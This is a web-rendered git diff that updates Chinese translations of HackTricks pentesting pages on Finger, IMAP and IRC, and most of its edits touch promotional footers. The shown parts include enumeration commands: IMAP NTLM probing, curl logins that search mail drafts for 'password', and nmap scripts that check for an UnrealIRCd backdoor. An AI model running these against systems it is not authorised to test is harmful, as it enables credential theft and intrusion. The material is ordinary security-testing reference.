* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -18,7 +18,7 @@
|
|||
|
||||
**Finger** 程序/服务用于检索有关计算机用户的详细信息。通常提供的信息包括**用户的登录名、全名**,有时还包括其他详细信息。这些额外的详细信息可能包括办公室位置和电话号码(如果有)、用户登录时间、空闲时间、用户上次阅读邮件的时间,以及用户计划和项目文件的内容。
|
||||
|
||||
**默认端口:** 79
|
||||
**默认端口:**79
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
79/tcp open finger
|
||||
|
@ -73,7 +73,7 @@ finger @internal@external
|
|||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,14 +2,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -29,7 +29,7 @@
|
|||
默认情况下,IMAP协议在两个端口上运行:
|
||||
|
||||
* **端口143** - 这是默认的IMAP非加密端口
|
||||
* **端口993** - 这是您需要使用的端口,如果要安全地连接使用IMAP。
|
||||
* **端口993** - 这是您需要使用的端口,如果要安全地使用IMAP进行连接
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
143/tcp open imap syn-ack
|
||||
|
@ -50,7 +50,7 @@ root@kali: telnet example.com 143
|
|||
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
|
||||
+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
|
||||
```
|
||||
或者使用 **nmap** 插件 `imap-ntlm-info.nse` 来**自动化**这个过程。
|
||||
或者使用 **nmap** 插件 `imap-ntlm-info.nse` 来 **自动化** 这个过程。
|
||||
|
||||
### [IMAP暴力破解](../generic-methodologies-and-resources/brute-force.md#imap)
|
||||
|
||||
|
@ -117,11 +117,10 @@ apt install evolution
|
|||
```bash
|
||||
curl -k 'imaps://1.2.3.4/' --user user:pass
|
||||
```
|
||||
2. 列出邮箱中的消息(imap命令`SELECT INBOX`然后`SEARCH ALL`)
|
||||
2. 在邮箱中列出消息(imap命令`SELECT INBOX`然后`SEARCH ALL`)
|
||||
|
||||
```bash
|
||||
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
|
||||
```
|
||||
curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass```
|
||||
```
|
||||
|
||||
The result of this search is a list of message indicies.
|
||||
|
@ -130,7 +129,13 @@ Its also possible to provide more complex search terms. e.g. searching for draft
|
|||
|
||||
```bash
|
||||
```plaintext
|
||||
使用curl命令访问'imaps://1.2.3.4/Drafts?TEXT password',并使用用户名user和密码pass进行身份验证。
|
||||
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```plaintext
|
||||
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
|
||||
```
|
||||
```
|
||||
|
||||
|
@ -233,7 +238,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,18 +9,18 @@
|
|||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注**我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
IRC 最初是一种**纯文本协议**,由 IANA 分配了**194/TCP**,但通常在**6667/TCP**和类似端口上运行,以避免需要**root 权限**进行操作。
|
||||
IRC 最初是一种**纯文本协议**,由 IANA 分配了 **194/TCP**,但通常在 **6667/TCP** 和类似端口上运行,以避免需要 **root 权限**进行操作。
|
||||
|
||||
只需一个**昵称**即可连接到服务器。连接后,服务器会对用户的 IP 执行反向 DNS 查找。
|
||||
|
||||
用户分为**操作员**(需要**用户名**和**密码**以获取更多访问权限)和普通**用户**。操作员具有不同级别的特权,管理员位于顶部。
|
||||
用户分为**操作员**,他们需要**用户名**和**密码**以获得更多访问权限,以及普通**用户**。操作员具有不同级别的特权,管理员位于顶部。
|
||||
|
||||
**默认端口:**194, 6667, 6660-7000
|
||||
```
|
||||
|
@ -73,7 +73,7 @@ PASS wealllikedebian
|
|||
NICK patrick
|
||||
USER test1 test2 <IP> :test3
|
||||
```
|
||||
### **查找和扫描IRC服务**
|
||||
### **查找和扫描 IRC 服务**
|
||||
```bash
|
||||
nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,6660-7000 <ip>
|
||||
```
|
||||
|
|
Loading…
Reference in a new issue